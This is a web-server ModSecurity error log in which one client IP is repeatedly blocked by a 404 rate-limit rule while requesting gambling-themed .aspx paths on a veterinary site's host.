[Sat Feb 14 21:05:44.753934 2026] [:error] [pid 36219:tid 36267] [client 51.83.237.175:33304] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZBzKJe-m2OpEy0FNjhczAAAA5M"]
[Sat Feb 14 21:05:46.048798 2026] [:error] [pid 53980:tid 54022] [client 51.83.237.175:33314] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZBzKtposYBT7xU8oxTHSAAAAsw"]
[Sat Feb 14 21:05:46.717234 2026] [:error] [pid 50339:tid 50370] [client 51.83.237.175:33318] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZBzKsI6TclQ9GOl2Y16DQAAAgA"]
[Sat Feb 14 21:05:46.899854 2026] [:error] [pid 39454:tid 39462] [client 51.83.237.175:33334] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZBzKof01uYc0DFDtzvYPgAAAcM"]
[Sat Feb 14 21:05:47.193808 2026] [:error] [pid 39454:tid 39459] [client 51.83.237.175:33340] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZBzK4f01uYc0DFDtzvYQAAAAcA"]
[Sat Feb 14 21:05:47.279187 2026] [:error] [pid 36219:tid 36258] [client 51.83.237.175:33344] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZBzK5e-m2OpEy0FNjhczwAAA4o"]
[Sat Feb 14 21:05:47.977944 2026] [:error] [pid 39454:tid 39473] [client 51.83.237.175:33356] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZBzK4f01uYc0DFDtzvYQgAAAc4"]
[Sat Feb 14 21:05:49.566264 2026] [:error] [pid 36219:tid 36251] [client 51.83.237.175:50362] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZBzLZe-m2OpEy0FNjhc0gAAA4M"]
[Sat Feb 14 21:05:49.676262 2026] [:error] [pid 39454:tid 39477] [client 51.83.237.175:50372] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZBzLYf01uYc0DFDtzvYRQAAAdI"]
[Sat Feb 14 21:05:49.756172 2026] [:error] [pid 39456:tid 39498] [client 51.83.237.175:50388] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZBzLYKeIqKLynHIGnjcSgAAAkw"]
[Sat Feb 14 21:05:50.283688 2026] [:error] [pid 53979:tid 54001] [client 51.83.237.175:50392] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZBzLofb_0QPnk6UIuNW8wAAAZI"]
[Sat Feb 14 21:05:51.598311 2026] [:error] [pid 39456:tid 39509] [client 51.83.237.175:50402] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZBzL4KeIqKLynHIGnjcTgAAAlc"]
[Sat Feb 14 21:05:51.958500 2026] [:error] [pid 39456:tid 39495] [client 51.83.237.175:50416] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZBzL4KeIqKLynHIGnjcTwAAAkk"]
[Sat Feb 14 21:05:52.294816 2026] [:error] [pid 53981:tid 54061] [client 51.83.237.175:50422] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZBzMNGxz-sjlGLnWnvSWgAAA1g"]
[Sat Feb 14 21:05:52.407827 2026] [:error] [pid 53980:tid 54034] [client 51.83.237.175:50434] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZBzMNposYBT7xU8oxTHTQAAAtg"]
[Sat Feb 14 21:05:53.521703 2026] [:error] [pid 36219:tid 36255] [client 51.83.237.175:50438] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZBzMZe-m2OpEy0FNjhc1AAAA4c"]
[Sat Feb 14 21:05:53.847012 2026] [:error] [pid 36219:tid 36261] [client 51.83.237.175:50450] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZBzMZe-m2OpEy0FNjhc1QAAA40"]
[Sat Feb 14 21:05:55.132798 2026] [:error] [pid 50339:tid 50382] [client 51.83.237.175:50462] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZBzM8I6TclQ9GOl2Y16DgAAAgw"]
[Sat Feb 14 21:05:55.134479 2026] [:error] [pid 36219:tid 36253] [client 51.83.237.175:50482] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZBzM5e-m2OpEy0FNjhc1wAAA4U"]
[Sat Feb 14 21:05:55.218075 2026] [:error] [pid 36219:tid 36250] [client 51.83.237.175:50468] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZBzM5e-m2OpEy0FNjhc2AAAA4I"]
[Sat Feb 14 21:05:56.483208 2026] [:error] [pid 39456:tid 39497] [client 51.83.237.175:50498] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZBzNIKeIqKLynHIGnjcVwAAAks"]
[Sat Feb 14 21:05:57.273921 2026] [:error] [pid 53979:tid 53984] [client 51.83.237.175:50504] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZBzNYfb_0QPnk6UIuNW-AAAAYE"]
[Sat Feb 14 21:05:57.688999 2026] [:error] [pid 53980:tid 54028] [client 51.83.237.175:44694] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZBzNdposYBT7xU8oxTHUQAAAtI"]
[Sat Feb 14 21:05:57.957081 2026] [:error] [pid 53981:tid 54040] [client 51.83.237.175:44710] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZBzNdGxz-sjlGLnWnvSXQAAA0M"]
[Sat Feb 14 21:05:58.344425 2026] [:error] [pid 53981:tid 54038] [client 51.83.237.175:50518] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZBzNtGxz-sjlGLnWnvSXwAAA0E"]
[Sat Feb 14 21:05:59.242354 2026] [:error] [pid 39454:tid 39481] [client 51.83.237.175:44728] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZBzN4f01uYc0DFDtzvYTAAAAdY"]
[Sat Feb 14 21:05:59.256480 2026] [:error] [pid 53979:tid 53996] [client 51.83.237.175:44714] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZBzN4fb_0QPnk6UIuNW-gAAAY0"]
[Sat Feb 14 21:06:00.094232 2026] [:error] [pid 36056:tid 36060] [client 51.83.237.175:44732] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZBzOLv3wQbSPS1vpOgf8gAAAAI"]
[Sat Feb 14 21:06:00.497655 2026] [:error] [pid 36056:tid 36074] [client 51.83.237.175:44736] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZBzOLv3wQbSPS1vpOgf8wAAABA"]
[Sat Feb 14 21:06:01.280223 2026] [:error] [pid 39456:tid 39508] [client 51.83.237.175:44750] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZBzOYKeIqKLynHIGnjcWgAAAlY"]
[Sat Feb 14 21:06:02.454422 2026] [:error] [pid 36056:tid 36067] [client 51.83.237.175:44770] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZBzOrv3wQbSPS1vpOgf-AAAAAk"]
[Sat Feb 14 21:06:02.618964 2026] [:error] [pid 53979:tid 53988] [client 51.83.237.175:44756] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZBzOofb_0QPnk6UIuNXAAAAAYU"]
[Sat Feb 14 21:06:03.020991 2026] [:error] [pid 53981:tid 54041] [client 51.83.237.175:44784] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZBzO9Gxz-sjlGLnWnvSYgAAA0Q"]
[Sat Feb 14 21:06:03.118158 2026] [:error] [pid 39456:tid 39499] [client 51.83.237.175:44788] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZBzO4KeIqKLynHIGnjcXAAAAk0"]
[Sat Feb 14 21:06:04.541764 2026] [:error] [pid 36056:tid 36077] [client 51.83.237.175:44798] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZBzPLv3wQbSPS1vpOgf_QAAABM"]
[Sat Feb 14 21:06:05.028894 2026] [:error] [pid 39454:tid 39463] [client 51.83.237.175:44814] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZBzPYf01uYc0DFDtzvYVAAAAcQ"]
[Sat Feb 14 21:06:05.320382 2026] [:error] [pid 36056:tid 36073] [client 51.83.237.175:44818] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZBzPbv3wQbSPS1vpOggAQAAAA8"]
[Sat Feb 14 21:06:05.528793 2026] [:error] [pid 39456:tid 39496] [client 51.83.237.175:44834] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZBzPYKeIqKLynHIGnjcYAAAAko"]
[Sat Feb 14 21:06:05.974389 2026] [:error] [pid 36056:tid 36060] [client 51.83.237.175:44840] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZBzPbv3wQbSPS1vpOggAgAAAAI"]
[Sat Feb 14 21:06:07.510417 2026] [:error] [pid 36056:tid 36062] [client 51.83.237.175:56464] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZBzP7v3wQbSPS1vpOggBwAAAAQ"]
[Sat Feb 14 21:06:07.847464 2026] [:error] [pid 53979:tid 54002] [client 51.83.237.175:44844] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZBzP4fb_0QPnk6UIuNXBAAAAZM"]
[Sat Feb 14 21:06:08.056901 2026] [:error] [pid 39456:tid 39503] [client 51.83.237.175:56480] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZBzQIKeIqKLynHIGnjcZAAAAlE"]
[Sat Feb 14 21:06:08.934149 2026] [:error] [pid 39456:tid 39492] [client 51.83.237.175:56502] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZBzQIKeIqKLynHIGnjcZwAAAkY"]
[Sat Feb 14 21:06:09.141792 2026] [:error] [pid 39456:tid 39487] [client 51.83.237.175:56512] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZBzQYKeIqKLynHIGnjcaQAAAkE"]
[Sat Feb 14 21:06:09.993213 2026] [:error] [pid 39456:tid 39489] [client 51.83.237.175:56514] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZBzQYKeIqKLynHIGnjcbAAAAkM"]
[Sat Feb 14 21:06:10.432340 2026] [:error] [pid 53980:tid 54030] [client 51.83.237.175:56488] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZBzQtposYBT7xU8oxTHUgAAAtQ"]
[Sat Feb 14 21:06:11.542840 2026] [:error] [pid 26150:tid 26157] [client 51.83.237.175:56534] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZBzQ6qmPH3D5QJaUSHSmgAAAIM"]
[Sat Feb 14 21:06:11.596035 2026] [:error] [pid 53980:tid 54025] [client 51.83.237.175:56530] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZBzQ9posYBT7xU8oxTHVQAAAs8"]
[Sat Feb 14 21:06:12.015120 2026] [:error] [pid 53980:tid 54024] [client 51.83.237.175:56538] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZBzRNposYBT7xU8oxTHVwAAAs4"]
[Sat Feb 14 21:06:12.429780 2026] [:error] [pid 53980:tid 54014] [client 51.83.237.175:56544] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZBzRNposYBT7xU8oxTHWQAAAsQ"]
[Sat Feb 14 21:06:12.936422 2026] [:error] [pid 50339:tid 50394] [client 51.83.237.175:56540] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZBzRMI6TclQ9GOl2Y16FQAAAhg"]
[Sat Feb 14 21:06:14.103823 2026] [:error] [pid 50339:tid 50374] [client 51.83.237.175:56560] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZBzRsI6TclQ9GOl2Y16FgAAAgQ"]
[Sat Feb 14 21:06:14.802597 2026] [:error] [pid 53920:tid 53952] [client 51.83.237.175:56562] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZBzRirmNDNQ_-GD91KCjAAAAUM"]
[Sat Feb 14 21:06:14.904827 2026] [:error] [pid 39456:tid 39494] [client 51.83.237.175:56570] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZBzRoKeIqKLynHIGnjcdQAAAkg"]
[Sat Feb 14 21:06:16.621335 2026] [:error] [pid 50339:tid 50382] [client 51.83.237.175:56586] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZBzSMI6TclQ9GOl2Y16GQAAAgw"]
